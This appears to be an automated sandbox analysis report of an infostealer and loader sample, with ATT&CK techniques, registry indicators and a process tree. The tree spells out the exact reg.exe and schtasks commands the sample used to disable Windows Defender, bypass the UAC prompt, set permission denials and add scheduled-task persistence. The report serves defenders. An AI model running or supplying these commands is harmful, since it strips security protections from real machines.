dcrat | 3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4484-283-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

Processes:

reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 13 IoCs

Processes:

2FDB.exe33B4.exe3EB2.exe401A.exe2FDB.exe2FDB.exe2FDB.exebuild2.exebuild3.exebuild2.exemstsca.exe401A.exe401A.exe

pid	process
176	2FDB.exe
5096	33B4.exe
3100	3EB2.exe
1864	401A.exe
3964	2FDB.exe
4044	2FDB.exe
1432	2FDB.exe
4156	build2.exe
2668	build3.exe
4596	build2.exe
2512	mstsca.exe
4216	401A.exe
4484	401A.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

401A.exe2FDB.exe2FDB.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	401A.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	2FDB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	2FDB.exe

Loads dropped DLL 4 IoCs

Processes:

regsvr32.exebuild2.exe

pid process

2664 regsvr32.exe
2664 regsvr32.exe
4596 build2.exe
4596 build2.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

704 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2664	regsvr32.exe
2664	regsvr32.exe
4596	build2.exe
4596	build2.exe

pid	process
704	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

2FDB.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\6b131158-e091-4056-a65d-c1665f93300a\\2FDB.exe\" --AutoStart"	2FDB.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

35 api.2ip.ua
36 api.2ip.ua
44 api.2ip.ua

flow	ioc
35	api.2ip.ua
36	api.2ip.ua
44	api.2ip.ua

Suspicious use of SetThreadContext 4 IoCs

Processes:

2FDB.exe2FDB.exebuild2.exe401A.exe

description	pid	process	target process
PID 176 set thread context of 3964	176	2FDB.exe	2FDB.exe
PID 4044 set thread context of 1432	4044	2FDB.exe	2FDB.exe
PID 4156 set thread context of 4596	4156	build2.exe	build2.exe
PID 1864 set thread context of 4484	1864	401A.exe	401A.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3692 schtasks.exe
4932 schtasks.exe

pid	process
3692	schtasks.exe
4932	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417.exe

pid	process
3528	3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417.exe
3528	3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417.exe
2592
2592
2592
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2592
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2592
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2592
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2592
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2592
2592
2592
2592
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2592
2592
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2592
2592
2592
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2592

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2592
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417.exe

pid process

3528 3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417.exe
2592
2592
2592
2592

pid	process
2592

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

401A.exewmic.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	1864	401A.exe
Token: SeIncreaseQuotaPrivilege	5028	wmic.exe
Token: SeSecurityPrivilege	5028	wmic.exe
Token: SeTakeOwnershipPrivilege	5028	wmic.exe
Token: SeLoadDriverPrivilege	5028	wmic.exe
Token: SeSystemProfilePrivilege	5028	wmic.exe
Token: SeSystemtimePrivilege	5028	wmic.exe
Token: SeProfSingleProcessPrivilege	5028	wmic.exe
Token: SeIncBasePriorityPrivilege	5028	wmic.exe
Token: SeCreatePagefilePrivilege	5028	wmic.exe
Token: SeBackupPrivilege	5028	wmic.exe
Token: SeRestorePrivilege	5028	wmic.exe
Token: SeShutdownPrivilege	5028	wmic.exe
Token: SeDebugPrivilege	5028	wmic.exe
Token: SeSystemEnvironmentPrivilege	5028	wmic.exe
Token: SeRemoteShutdownPrivilege	5028	wmic.exe
Token: SeUndockPrivilege	5028	wmic.exe
Token: SeManageVolumePrivilege	5028	wmic.exe
Token: 33	5028	wmic.exe
Token: 34	5028	wmic.exe
Token: 35	5028	wmic.exe
Token: 36	5028	wmic.exe
Token: SeIncreaseQuotaPrivilege	5028	wmic.exe
Token: SeSecurityPrivilege	5028	wmic.exe
Token: SeTakeOwnershipPrivilege	5028	wmic.exe
Token: SeLoadDriverPrivilege	5028	wmic.exe
Token: SeSystemProfilePrivilege	5028	wmic.exe
Token: SeSystemtimePrivilege	5028	wmic.exe
Token: SeProfSingleProcessPrivilege	5028	wmic.exe
Token: SeIncBasePriorityPrivilege	5028	wmic.exe
Token: SeCreatePagefilePrivilege	5028	wmic.exe
Token: SeBackupPrivilege	5028	wmic.exe
Token: SeRestorePrivilege	5028	wmic.exe
Token: SeShutdownPrivilege	5028	wmic.exe
Token: SeDebugPrivilege	5028	wmic.exe
Token: SeSystemEnvironmentPrivilege	5028	wmic.exe
Token: SeRemoteShutdownPrivilege	5028	wmic.exe
Token: SeUndockPrivilege	5028	wmic.exe
Token: SeManageVolumePrivilege	5028	wmic.exe
Token: 33	5028	wmic.exe
Token: 34	5028	wmic.exe
Token: 35	5028	wmic.exe
Token: 36	5028	wmic.exe
Token: SeShutdownPrivilege	2592
Token: SeCreatePagefilePrivilege	2592
Token: SeShutdownPrivilege	2592
Token: SeCreatePagefilePrivilege	2592
Token: SeDebugPrivilege	3608	powershell.exe
Token: SeIncreaseQuotaPrivilege	4084	WMIC.exe
Token: SeSecurityPrivilege	4084	WMIC.exe
Token: SeTakeOwnershipPrivilege	4084	WMIC.exe
Token: SeLoadDriverPrivilege	4084	WMIC.exe
Token: SeSystemProfilePrivilege	4084	WMIC.exe
Token: SeSystemtimePrivilege	4084	WMIC.exe
Token: SeProfSingleProcessPrivilege	4084	WMIC.exe
Token: SeIncBasePriorityPrivilege	4084	WMIC.exe
Token: SeCreatePagefilePrivilege	4084	WMIC.exe
Token: SeBackupPrivilege	4084	WMIC.exe
Token: SeRestorePrivilege	4084	WMIC.exe
Token: SeShutdownPrivilege	4084	WMIC.exe
Token: SeDebugPrivilege	4084	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4084	WMIC.exe
Token: SeRemoteShutdownPrivilege	4084	WMIC.exe
Token: SeUndockPrivilege	4084	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

regsvr32.exe33B4.exe401A.exe2FDB.execmd.exe2FDB.execmd.exe2FDB.exe

description	pid	process	target process
PID 2592 wrote to memory of 1520	2592		regsvr32.exe
PID 2592 wrote to memory of 1520	2592		regsvr32.exe
PID 1520 wrote to memory of 2664	1520	regsvr32.exe	regsvr32.exe
PID 1520 wrote to memory of 2664	1520	regsvr32.exe	regsvr32.exe
PID 1520 wrote to memory of 2664	1520	regsvr32.exe	regsvr32.exe
PID 2592 wrote to memory of 176	2592		2FDB.exe
PID 2592 wrote to memory of 176	2592		2FDB.exe
PID 2592 wrote to memory of 176	2592		2FDB.exe
PID 2592 wrote to memory of 5096	2592		33B4.exe
PID 2592 wrote to memory of 5096	2592		33B4.exe
PID 2592 wrote to memory of 5096	2592		33B4.exe
PID 2592 wrote to memory of 3100	2592		3EB2.exe
PID 2592 wrote to memory of 3100	2592		3EB2.exe
PID 2592 wrote to memory of 3100	2592		3EB2.exe
PID 2592 wrote to memory of 1864	2592		401A.exe
PID 2592 wrote to memory of 1864	2592		401A.exe
PID 2592 wrote to memory of 1864	2592		401A.exe
PID 2592 wrote to memory of 4472	2592		explorer.exe
PID 2592 wrote to memory of 4472	2592		explorer.exe
PID 2592 wrote to memory of 4472	2592		explorer.exe
PID 2592 wrote to memory of 4472	2592		explorer.exe
PID 2592 wrote to memory of 4788	2592		explorer.exe
PID 2592 wrote to memory of 4788	2592		explorer.exe
PID 2592 wrote to memory of 4788	2592		explorer.exe
PID 5096 wrote to memory of 5028	5096	33B4.exe	wmic.exe
PID 5096 wrote to memory of 5028	5096	33B4.exe	wmic.exe
PID 5096 wrote to memory of 5028	5096	33B4.exe	wmic.exe
PID 1864 wrote to memory of 3608	1864	401A.exe	powershell.exe
PID 1864 wrote to memory of 3608	1864	401A.exe	powershell.exe
PID 1864 wrote to memory of 3608	1864	401A.exe	powershell.exe
PID 176 wrote to memory of 3964	176	2FDB.exe	2FDB.exe
PID 176 wrote to memory of 3964	176	2FDB.exe	2FDB.exe
PID 176 wrote to memory of 3964	176	2FDB.exe	2FDB.exe
PID 176 wrote to memory of 3964	176	2FDB.exe	2FDB.exe
PID 176 wrote to memory of 3964	176	2FDB.exe	2FDB.exe
PID 176 wrote to memory of 3964	176	2FDB.exe	2FDB.exe
PID 176 wrote to memory of 3964	176	2FDB.exe	2FDB.exe
PID 176 wrote to memory of 3964	176	2FDB.exe	2FDB.exe
PID 176 wrote to memory of 3964	176	2FDB.exe	2FDB.exe
PID 176 wrote to memory of 3964	176	2FDB.exe	2FDB.exe
PID 5096 wrote to memory of 1080	5096	33B4.exe	cmd.exe
PID 5096 wrote to memory of 1080	5096	33B4.exe	cmd.exe
PID 5096 wrote to memory of 1080	5096	33B4.exe	cmd.exe
PID 1080 wrote to memory of 4084	1080	cmd.exe	WMIC.exe
PID 1080 wrote to memory of 4084	1080	cmd.exe	WMIC.exe
PID 1080 wrote to memory of 4084	1080	cmd.exe	WMIC.exe
PID 5096 wrote to memory of 3136	5096	33B4.exe	cmd.exe
PID 5096 wrote to memory of 3136	5096	33B4.exe	cmd.exe
PID 5096 wrote to memory of 3136	5096	33B4.exe	cmd.exe
PID 3964 wrote to memory of 704	3964	2FDB.exe	icacls.exe
PID 3964 wrote to memory of 704	3964	2FDB.exe	icacls.exe
PID 3964 wrote to memory of 704	3964	2FDB.exe	icacls.exe
PID 3136 wrote to memory of 4048	3136	cmd.exe	WMIC.exe
PID 3136 wrote to memory of 4048	3136	cmd.exe	WMIC.exe
PID 3136 wrote to memory of 4048	3136	cmd.exe	WMIC.exe
PID 3964 wrote to memory of 4044	3964	2FDB.exe	2FDB.exe
PID 3964 wrote to memory of 4044	3964	2FDB.exe	2FDB.exe
PID 3964 wrote to memory of 4044	3964	2FDB.exe	2FDB.exe
PID 4044 wrote to memory of 1432	4044	2FDB.exe	2FDB.exe
PID 4044 wrote to memory of 1432	4044	2FDB.exe	2FDB.exe
PID 4044 wrote to memory of 1432	4044	2FDB.exe	2FDB.exe
PID 4044 wrote to memory of 1432	4044	2FDB.exe	2FDB.exe
PID 4044 wrote to memory of 1432	4044	2FDB.exe	2FDB.exe
PID 4044 wrote to memory of 1432	4044	2FDB.exe	2FDB.exe

outlook_office_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417.exe
"C:\Users\Admin\AppData\Local\Temp\3baef98d0d6c6f85e678ce5f1a0790890f19657e9c667085489223a0c2349417.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3528

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\2DD6.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:1520
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\2DD6.dll
  2⤵
  - Loads dropped DLL
  PID:2664

C:\Users\Admin\AppData\Local\Temp\2FDB.exe
C:\Users\Admin\AppData\Local\Temp\2FDB.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:176
- C:\Users\Admin\AppData\Local\Temp\2FDB.exe
  C:\Users\Admin\AppData\Local\Temp\2FDB.exe
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:3964
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\6b131158-e091-4056-a65d-c1665f93300a" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:704
- - C:\Users\Admin\AppData\Local\Temp\2FDB.exe
    "C:\Users\Admin\AppData\Local\Temp\2FDB.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\Users\Admin\AppData\Local\Temp\2FDB.exe
      "C:\Users\Admin\AppData\Local\Temp\2FDB.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Checks computer location settings
      PID:1432
    - - C:\Users\Admin\AppData\Local\a1daf9ed-ef15-4fea-b7c1-66ed31e7aecf\build2.exe
        
        "C:\Users\Admin\AppData\Local\a1daf9ed-ef15-4fea-b7c1-66ed31e7aecf\build2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4156
      - C:\Users\Admin\AppData\Local\a1daf9ed-ef15-4fea-b7c1-66ed31e7aecf\build2.exe
        
        "C:\Users\Admin\AppData\Local\a1daf9ed-ef15-4fea-b7c1-66ed31e7aecf\build2.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4596
    - - C:\Users\Admin\AppData\Local\a1daf9ed-ef15-4fea-b7c1-66ed31e7aecf\build3.exe
        
        "C:\Users\Admin\AppData\Local\a1daf9ed-ef15-4fea-b7c1-66ed31e7aecf\build3.exe"
        5⤵
        Executes dropped EXE
        
        PID:2668
      - C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:3692

C:\Users\Admin\AppData\Local\Temp\33B4.exe
C:\Users\Admin\AppData\Local\Temp\33B4.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5096
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5028
- C:\Windows\SysWOW64\cmd.exe
  cmd /C "wmic path win32_VideoController get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1080
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4084
- C:\Windows\SysWOW64\cmd.exe
  cmd /C "wmic cpu get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic cpu get name
    3⤵
    PID:4048

C:\Users\Admin\AppData\Local\Temp\3EB2.exe
C:\Users\Admin\AppData\Local\Temp\3EB2.exe
1⤵
- Executes dropped EXE
PID:3100

C:\Users\Admin\AppData\Local\Temp\401A.exe
C:\Users\Admin\AppData\Local\Temp\401A.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1864
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3608
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Tqqcbghwdivfantidef.bat" "
  2⤵
  PID:1604
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
    3⤵
    PID:3980
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t "REG_DWORD" /d 0 /f
    3⤵
    - UAC bypass
    PID:4544
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:228
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:3872
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:3352
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:996
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1848
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5032
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2080
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2192
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1176
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:3760
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:3876
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:3460
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:440
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:3984
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:1252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:4784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:3636
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:1984
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:3212
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:4592
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:1816
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:3456
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:1488
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2144
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:740
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3716
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4164
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3060
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2784
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:3260
- C:\Users\Admin\AppData\Local\Temp\401A.exe
  C:\Users\Admin\AppData\Local\Temp\401A.exe
  2⤵
  - Executes dropped EXE
  PID:4216
- C:\Users\Admin\AppData\Local\Temp\401A.exe
  C:\Users\Admin\AppData\Local\Temp\401A.exe
  2⤵
  - Executes dropped EXE
  PID:4484

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:4472

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4788

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:2512
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:4932

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery